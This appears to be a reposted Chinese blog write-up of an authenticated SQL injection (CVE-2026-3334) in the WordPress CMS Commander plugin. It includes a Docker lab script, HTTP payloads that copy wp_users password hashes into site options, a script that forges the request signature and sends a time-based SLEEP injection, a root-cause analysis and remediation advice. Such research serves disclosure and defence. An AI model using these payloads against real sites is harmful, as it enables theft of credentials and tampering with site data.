文章总结: 本文分析了WordPressCMSCommander插件(CVE-2026-3334)的认证后SQL注入漏洞,影响版本<=2.288,漏洞参数为or_blogname、or_blogdescription和or_admin_email。攻击者需持有API密钥,通过restore接口追加恶意SQL语句,可在UPDATE操作中利用子查询提取wp_users中的用户名与密码哈希等敏感信息。文章提供了Docker环境搭建脚本、三个概念验证场景(配置覆盖注入、数据外带注入、时间盲注)及MySQLgeneral_log验证方法。该漏洞位于Backup.php的restore函数内,需成功备份文件方可触发注入点,利用复杂度中等。 综合评分: 58 文章分类: 漏洞分析,WEB安全,漏洞POC,渗透测试,代码审计
WordPress CMS Commander 插件SQL漏洞 | CVE-2026-3334概念复现&研究
原创
404号浪漫 404号浪漫
404号浪漫
2026年3月28日 14:14 北京
点击蓝字,关注我们
0x0 背景介绍
WordPress的CMS Commander插件在所有版本(包括2.288)中,通过or_blogname、or_blogdescription和or_admin_email参数存在SQL注入漏洞。这是由于对用户提供的参数进行了不充分的转义,并且在恢复工作流程中对现有的SQL查询准备不足。这使得经过身份验证的攻击者(拥有CMS Commander API密钥访问权限)能够将额外的SQL查询追加到已存在的查询中,从而可以从数据库中提取敏感信息。
漏洞详情
| 漏洞类型 | 影响版本 | 利用复杂度 | CVE编号 | | — | — | — | — | | SQL注入 | <= 2.288 | 中(需KEY) | CVE-2026-3334 |
攻击效果:
- 原理可以执行任意SQL语句,篡改数据获取敏感数据。
请在微信客户端打开
0x1 环境搭建(Ubuntu24)
1.1-Ubuntu24+Docker搭建配置
- ### 另存为install.sh运行
#!/bin/bash
echo "=============================================="echo " CMS Commander SQL 注入 (CVE-2026-3334) 环境搭建脚本"echo "=============================================="
# 检查并安装依赖if ! command -v unzip &> /dev/null; then echo "[*] 安装依赖工具..." apt update && apt install -y unzip wget curl docker.io docker-compose-pluginfi
# 检查 Docker 是否运行if ! systemctl is-active --quiet docker; then echo "[!] Docker 未运行,请启动 Docker 服务 (systemctl start docker)" exit 1fi
WORK_DIR="cmscommander-sqli-vuln"PLUGIN_SLUG="cms-commander-client"PLUGIN_VERSION="2.288"WP_PORT="8090"
echo "[*] 阶段 1/5:创建漏洞复现目录..."mkdir -p "$WORK_DIR" && cd "$WORK_DIR" || { echo "[x] 创建目录失败"; exit 1; }echo "[+] 工作目录: $(pwd)"
echo "[*] 阶段 2/5:生成 docker-compose.yml..."cat > docker-compose.yml <<EOFservices: db: image: mysql:8.0 container_name: cmsc-db environment: MYSQL_ROOT_PASSWORD: vuln-root-pass MYSQL_DATABASE: wordpress MYSQL_USER: wpuser MYSQL_PASSWORD: vuln-user-pass volumes: - db_data:/var/lib/mysql command: --default-authentication-plugin=mysql_native_password restart: always
wordpress: image: wordpress:php7.4-apache container_name: cmsc-wp ports: - "${WP_PORT}:80" environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wpuser WORDPRESS_DB_PASSWORD: vuln-user-pass WORDPRESS_DB_NAME: wordpress volumes: - wp_plugins:/var/www/html/wp-content/plugins - wp_uploads:/var/www/html/wp-content/uploads depends_on: - db restart: always
volumes: db_data: wp_plugins: wp_uploads:EOF
echo "[*] 阶段 3/5:启动 Docker 环境..."docker compose up -d
echo "[*] 等待服务启动(约 60 秒)..."for i in {1..12}; do echo -n "." sleep 5doneecho ""echo "[+] 容器已启动"
echo "[*] 等待 WordPress 安装页面就绪..."max_attempts=30attempt=0while [ $attempt -lt $max_attempts ]; do status_code=$(curl -s -o /dev/null -w '%{http_code}' http://localhost:${WP_PORT}/wp-admin/install.php) if [ "$status_code" = "200" ]; then break fi echo -n "." sleep 2 ((attempt++))done
if [ "$status_code" != "200" ]; then echo "" echo "[!] WordPress 启动超时,请检查日志: docker logs cmsc-wp" exit 1fiecho ""echo "[+] WordPress 已就绪"
echo "[*] 阶段 4/5:下载并部署 CMS Commander v${PLUGIN_VERSION}..."
# 构造下载链接 (WordPress 官方插件库格式)PLUGIN_URL="https://downloads.wordpress.org/plugin/${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"PLUGIN_ZIP="${PLUGIN_SLUG}.${PLUGIN_VERSION}.zip"LOCAL_PLUGIN_DIR="${PLUGIN_SLUG}"
rm -rf "$LOCAL_PLUGIN_DIR" "$PLUGIN_ZIP"
echo "[*] 正在下载插件..."if ! wget -q --show-progress "$PLUGIN_URL" -O "$PLUGIN_ZIP"; then echo "[-] 主源下载失败,尝试备用源或检查版本号..." # 如果官方源没有该特定版本,可能需要手动上传或从其他源获取 exit 1fi
echo "[*] 解压插件..."unzip -q "$PLUGIN_ZIP"
if [ ! -d "$LOCAL_PLUGIN_DIR" ]; then echo "[-] 插件目录未生成,解压失败" ls -la exit 1fi
echo "[*] 复制插件到容器..."docker cp "$LOCAL_PLUGIN_DIR" cmsc-wp:/var/www/html/wp-content/plugins/
echo "[*] 修复权限..."docker exec cmsc-wp chown -R www-data:www-data /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"
# 清理本地临时文件rm -rf "$PLUGIN_ZIP" "$LOCAL_PLUGIN_DIR"
# 验证if docker exec cmsc-wp test -f /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/cms-commander.php; then echo "[+] CMS Commander 插件部署成功!"else # 有些插件主文件名可能不同,尝试列出目录确认 echo "[*] 检查插件文件结构..." docker exec cmsc-wp ls -l /var/www/html/wp-content/plugins/"$LOCAL_PLUGIN_DIR"/ # 即使主文件名不是 cms-commander.php,只要目录在通常也能被识别,继续执行fi
echo "[*] 阶段 5/5:环境配置完成!"
cat <<EOF
============================================== CVE-2026-3334 漏洞环境部署完成!==============================================
访问站点: http://localhost:${WP_PORT}
初始化步骤: 1. 首次访问上述链接,完成 WordPress 安装。 * 站点标题: CMS Commander SQLi Demo * 用户名: admin * 密码: admin123!@# (建议修改) * 邮箱: [email protected]
2. 登录后台 (http://localhost:${WP_PORT}/wp-admin) * 进入 "插件" (Plugins) -> 启用 "CMS Commander - Manage Multiple Sites"
漏洞利用前置条件: 该漏洞是 **认证后 SQL 注入**。 您需要获取或配置 **CMS Commander API Key**。
* 通常在插件设置页面 (Settings -> CMS Commander) 可以连接主站获取 API Key。 * 或者如果您有主站控制权,在主站添加此从站时会生成 Key。 * **审计重点**: 插件代码中处理 'restore workflow' 的部分。
漏洞详情: * 漏洞参数: or_blogname, or_blogdescription, or_admin_email * 利用方式: 通过 API 接口发送恶意构造的参数,追加 SQL 语句。 * 参考 Payload 思路: or_blogname=test' UNION SELECT 1, user_pass, 3, 4, 5 FROM wp_users--
下一步建议: 1. 审计 /wp-content/plugins/cms-commander-client/ 源码。 2. 搜索 'or_blogname' 或 'prepare' 关键字。 3. 编写 PoC 进行复现。
0x2 漏洞复现 SQL注入点位于 restore() 函数中,但要执行到该点,必须先成功恢复一个备份文件(绕过签名后卡在这好久)。源码流程如下: // lib/CMSC/Backup.php 中的 restore() 函数if($backup_file && file_exists($backup_file)){// 解压备份、恢复数据库、覆盖配置(注入点)}else{return array('error'=>'Error restoring. Cannot find backup file.');} * 如果$backup_file不存在或文件不存在,函数直接返回错误,不会执行注入代码。 * $backup_file必须通过task_name和result_id从cmsc_backup_tasks选项中获取,而这些都依赖一次成功的备份记录(第四次的测试中…不小心把环境还原出问题了….) 2.1-概念验证
2.1.1 概念场景 A:通过恢复接口注入 or_blogname
* 前置条件 •攻击者已掌握 CMS Commander API 通信所需的密钥材料(可构造合法signature,即"已认证攻击者"模型。 •攻击请求动作为 restore,并触发 overwrit 分支(正常网站应该有备份,可能实际环境不会卡在备份流程)。 * 模拟 HTTP 流量 POST / HTTP/1.1Host: victim.exampleContent-Type: application/x-www-form-urlencoded cmsc=%23%23CMSC%23%23{"cmsc":"yes","cmsc_action":"restore","action":"restore","id":"1711111111", "url":"https%3A%2F%2Fvictim.example%2F", //注意:这里需和站点相同,源码会校验 "signature":"<合法签名>", "params":{ "username":"admin", "task_name":"daily_backup", "result_id":"0", "overwrite":1, "or_blogname":"x', option_value=(SELECT user_pass FROM wp_users WHERE ID=1) WHERE option_name='blogname' -- ", "or_blogdescription":"normal", "or_admin_email":"[email protected]" }} 说明:插件在functions.php的cmsc_authenticate()中按##CMSC##{json} 协议解析正文,并在验签通过后把params传到 restore逻辑。 * 预期现象与流量特征 •响应结构通常为 <CMSCHEADER>_CMSC_JSON_PREFIX_<base64-json><ENDCMSCHEADER>。 •当注入成功时,wp_options 中 blogname/admin_email 等值可出现异常替换,或通过时间盲注引发明显响应延迟。 •SQL 执行点发生在恢复流程后半段(覆盖站点配置阶段),属于"高权限业务流程内注入"。
#
2.2 概念场景 B:or_admin_email 注入用于敏感信息探测
POST / HTTP/1.1Host: victim.exampleContent-Type: application/x-www-form-urlencoded
cmsc=%23%23CMSC%23%23{ "cmsc":"yes", "cmsc_action":"restore", "id":"1711111122", "url":"https%3A%2F%2Fvictim.example%2F", "signature":"<合法签名>", "params":{ "username":"admin", "task_name":"daily_backup", "result_id":"0", "overwrite":1, "or_admin_email":"a' , option_value=(SELECT concat(user_login,':',user_pass) FROM wp_users LIMIT 1) WHERE option_name='admin_email' -- " }}
- 这个场景更接近公告中的”可提取敏感信息”目标:
- 虽然注入语句仍在
UPDATE ... options,但攻击者可通过子查询把敏感字段回填到可读配置项,形成数据外带。
2.3 概念场景 C:基于插件的特殊性,我这边绕过签名和备份
在环境中遇到一些情况,所以打开sql监控,看看语句能否提交
root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db bashbash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL general_log = 'ON';"mysql: [Warning] Using a password on the command line interface can be insecure.bash-5.1# mysql -u root -pvuln-root-pass -e "SET GLOBAL log_output = 'TABLE';"mysql: [Warning] Using a password on the command line interface can be insecure.bash-5.1# mysql -u root -pvuln-root-pass -e "TRUNCATE TABLE mysql.general_log;"mysql: [Warning] Using a password on the command line interface can be insecure.bash-5.1# exit
- 然后进行注入
#!/bin/bash
# 配置TARGET="http://192.168.119.131:8090"SECRET="test_secret_key"TIMESTAMP=$(date +%s)ACTION="restore"
# 1. 计算签名SIG=$(echo -n "${TARGET}${ACTION}${TIMESTAMP}${SECRET}" | md5sum | awk '{print $1}')
# 2. 定义 Payload (这里可以随意写单引号,因为还没拼进 JSON)# 尝试让数据库睡 5 秒RAW_PAYLOAD="' WHERE 1=1 AND (SELECT SLEEP(5)) -- "
# 3. 构造原始 JSON 字符串 (先不编码)# 注意:这里我们用变量占位,避免 Bash 转义问题read -r -d '' JSON_TEMPLATE <<EOF{ "cmsc": "yes", "cmsc_action": "${ACTION}", "action": "${ACTION}", "id": "${TIMESTAMP}", "url": "${TARGET}", "signature": "${SIG}", "params": { "username": "admin", "task_name": "Backup Now", "result_id": 0, "overwrite": 1, "or_blogname": "${RAW_PAYLOAD}" }}EOF
# 4. 将 JSON 转为 Base64,避免 Bash 处理特殊字符JSON_B64=$(echo "$JSON_TEMPLATE" | base64 -w 0)
# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)# 5. 使用 Python 进行最终处理 (解码 Base64 -> URL 编码 -> 发送)python3 - <<PYEOFimport requeststarget = "${TARGET}"body = "cmsc=##CMSC##${JSON_B64}"print(f"[*] 发送 Payload (长度: {len(body)} bytes)...")print(f"[*] 预期延时: 5 秒+")try: resp = requests.post(target, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=20) print(f"[+] 响应状态: {resp.status_code}") print(f"[+] 响应内容: {resp.text.strip()}")except Exception as e: print(f"[-] 错误: {e}")PYEOF
- 最后数据库查询
109110111112113114115116117118119120121[*] 发送 Payload (长度: 673 bytes)...[*] 预期延时: 5 秒+[+] 响应状态: 200[+] 响应内容: <CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>root@iubuntu:~/cmscommander-sqli-vuln# docker exec -it cmsc-db mysql -u root -pvuln-root-pass -e "SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3;"mysql: [Warning] Using a password on the command line interface can be insecure.+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+| event_time | argument |+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+| 2026-03-25 07:11:16.721177 | 0x53454C454354206576656E745F74696D652C20617267756D656E742046524F4D206D7973716C2E67656E6572616C5F6C6F6720574845524520617267756D656E74204C494B45202725534C4545502527204F5220617267756D656E74204C494B45202725626C6F676E616D652527204F52444552204259206576656E745F74696D652044455343204C494D49542033 || 2026-03-25 07:11:11.387056 | 0x55504441544520574F524450524553535F5441424C455F5052454649586F7074696F6E7320534554206F7074696F6E5F76616C7565203D20272720574845524520313D3120414E44202853454C45435420534C45455028352929202D2D2027205748455245206F7074696F6E5F6E616D65203D2027626C6F676E616D6527 |+----------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
- ## 正常注入成功结果应该是这个
<CMSCHEADER>_CMSC_JSON_PREFIX_eyJzdWNjZXNzIjp0cnVlfQ==<ENDCMSCHEADER>解码就是:{"success":true}
- ## 可以看到俩次的值,分别解码结果,足以证明语句会到数据库执行
第一个字符串解码后:SELECT event_time, argument FROM mysql.general_log WHERE argument LIKE '%SLEEP%' OR argument LIKE '%blogname%' ORDER BY event_time DESC LIMIT 3第二个字符串解码后:UPDATE WORDPRESS_TABLES_PREFIXoptions SET option_value = '' WHERE 1=1 AND (SELECT SLEEP(5)) -- ' WHERE option_name = 'blogname'
2.3-复现流量特征 (PCAP)
当时来来回回测了好多次,又是去掉签名又是备份机制,没抓到真正流量,不过SQL语句是明文在请求中的
- ## 实际响应解码后是TURE,截图中就是备份机制
0x3 漏洞原理分析
3.1- 架构与模块定位:从API入口到数据库执行点
| 层级 | 核心文件 | 关键函数 | 在漏洞链路中的职责 |
| — | — | — | — |
| 入口层 | functions.php | cmsc_authenticate() | 解析请求、验签、建立”已认证 API 调用”上下文 |
| 路由层 | lib/CMSC/Core.php | register_action_params() | 将 restore 动作映射到 cmsc_restore_now() |
| 逻辑层 | functions.php | cmsc_restore_now() | 将 params 原样交给 CMSC_Backup::restore() |
| 驱动层 | lib/CMSC/Backup.php | restore() | 在 overwrite 恢复路径中拼接并执行 SQL(注入爆发点) |
最先定位的是restore动作,因为 CVE 描述中明确提到”恢复工作流”。沿着这个关键词回溯后,链路非常清晰:入口验签并不等于参数安全,params 最终到达restore()时没有再次做SQL边界控制。
3.2 核心入口:安全边界的错位:认证通过被误当作”参数可信”
- 先看入口层代码,
cmsc_authenticate()负责验签与用户上下文切换:
// functions.phpif($_cmsc_data['cmsc'] !== "yes") { return; }$_cmsc_auth = $cmsc_core->authenticate_message(...);...if(isset($_cmsc_data['params']['username']) && !is_user_logged_in()){ $user = get_user_by('login', $_cmsc_data['params']['username']); wp_set_current_user($user->ID);}
- 随后动作被注册并透传参数:
// lib/CMSC/Core.php'restore' => 'cmsc_restore_now',...$this->action_params = $params;
// functions.phpfunction cmsc_restore_now($params){ $return = $cmsc_core->backup_instance->restore($params);}
- 预期边界是”只有持有 API 密钥的一方才能调用高危动作”,这是访问控制边界;
- 但 SQL 注入需要的是数据边界(参数化、白名单、转义)。该实现把两者混为一谈
- 认证通过后,
params被视为”可直接进入 SQL 的可信数据”,导致后续失守。
#
3.3 逻辑缺陷:恢复流程中的最后一道防线失守
真正致命点出现在 lib/CMSC/Backup.php 的 restore()
// lib/CMSC/Backup.phpif(!empty($or_blogname)) { $query = "UPDATE " . $new_table_prefix . "options SET option_value = '$or_blogname' WHERE option_name = 'blogname'"; $wpdb->query($wpdb->prepare($query));}if(!empty($or_blogdescription)) { $query = "UPDATE " . $new_table_prefix . "options SET option_value = '$or_blogdescription' WHERE option_name = 'blogdescription'"; $wpdb->query($wpdb->prepare($query));}if(!empty($or_admin_email)) { $query = "UPDATE " . $new_table_prefix . "options SET option_value = '$or_admin_email' WHERE option_name = 'admin_email'"; $wpdb->query($wpdb->prepare($query));}
- 这里的
prepare()是”空 prepare”——SQL 模板里没有%s占位符,用户输入已先被拼进字符串,prepare()不再提供任何防注入价值。 - or_blogname/or_blogdescription/or_admin_email直接进入单引号上下文,攻击者可以闭合字符串并改写
SET语义,注入子查询或额外表达式。 - 代码是在恢复后处理流程,执行时机稳定、权限高、且目标表固定,非常适合数据回填式外带。
再对照同函数中其它”正确写法”,反差更明显:
// lib/CMSC/Backup.php$query = "UPDATE " . $new_table_prefix . "options SET option_value = %s WHERE option_name = 'home'";$wpdb->query($wpdb->prepare($query, $home));
- 这里使用
%s占位,才是预期的参数化
#
3.4 攻击链路:从配置污染到敏感信息提取的完整闭环
在还原链路时,先判断可控参数是否到达SQL,再看它是否能”读出”数据。虽然注入点是UPDATE options,但攻击者可利用子查询把敏感数据写入可见配置字段
- 调用链总结(含注入点与爆发点):
HTTP(cmsc_action=restore)-> functions.php::cmsc_authenticate()(验签通过)-> lib/CMSC/Core.php::register_action_params()-> functions.php::cmsc_restore_now($params)-> lib/CMSC/Backup.php::restore($args)-> [注入点] $or_blogname/$or_blogdescription/$or_admin_email 字符串拼接-> [爆发点] $wpdb->query($wpdb->prepare($query)) 执行已污染 SQL
最大危害理论推导:
- 敏感信息泄露:利用子查询提取
wp_users.user_pass、邮箱、站点密钥相关配置,回填到wp_options可读取字段。 - 站点配置篡改:修改
blogname/admin_email等核心配置,影响后台运维与邮件流。 - 横向安全影响:若数据库账户权限较大,攻击面可从单表扩展到全库数据读取/破坏(取决于MySQL权限和
wpdb执行策略)。
0x4 修复建议
1、升级最新版本:将组件升级最新版本
https://wordpress.org/plugins/cms-commander-client/
2、临时防护措施:
-
限制访问:在Nginx/Apache层对插件通信入口加IP白名单,仅允许CMS Commander 控制端出口IP;拒绝非常规来源调用restore
-
防火墙拦截:增加针对cmsc_action=restore且参数中出现’, –, /*, select, sleep等特征的规则(注意误报豁免)
-
最小权限:收紧WordPress数据库账号权限,避免对非业务必要库/表的读写授权,降低注入后的横向破坏面
-
日志排查:检查
wp_options中blogname/blogdescription/admin_email历史变更是否出现SQL片段痕迹 -
更换密钥:立即轮换CMS Commander API密钥与WordPress高权限账户密码。
/**出现计划外的变化,这个卡住我太多时间,还是不到位吖**/
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:404号浪漫 404号浪漫 404号浪漫《WordPress CMS Commander 插件SQL漏洞 | CVE-2026-3334概念复现&研究》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论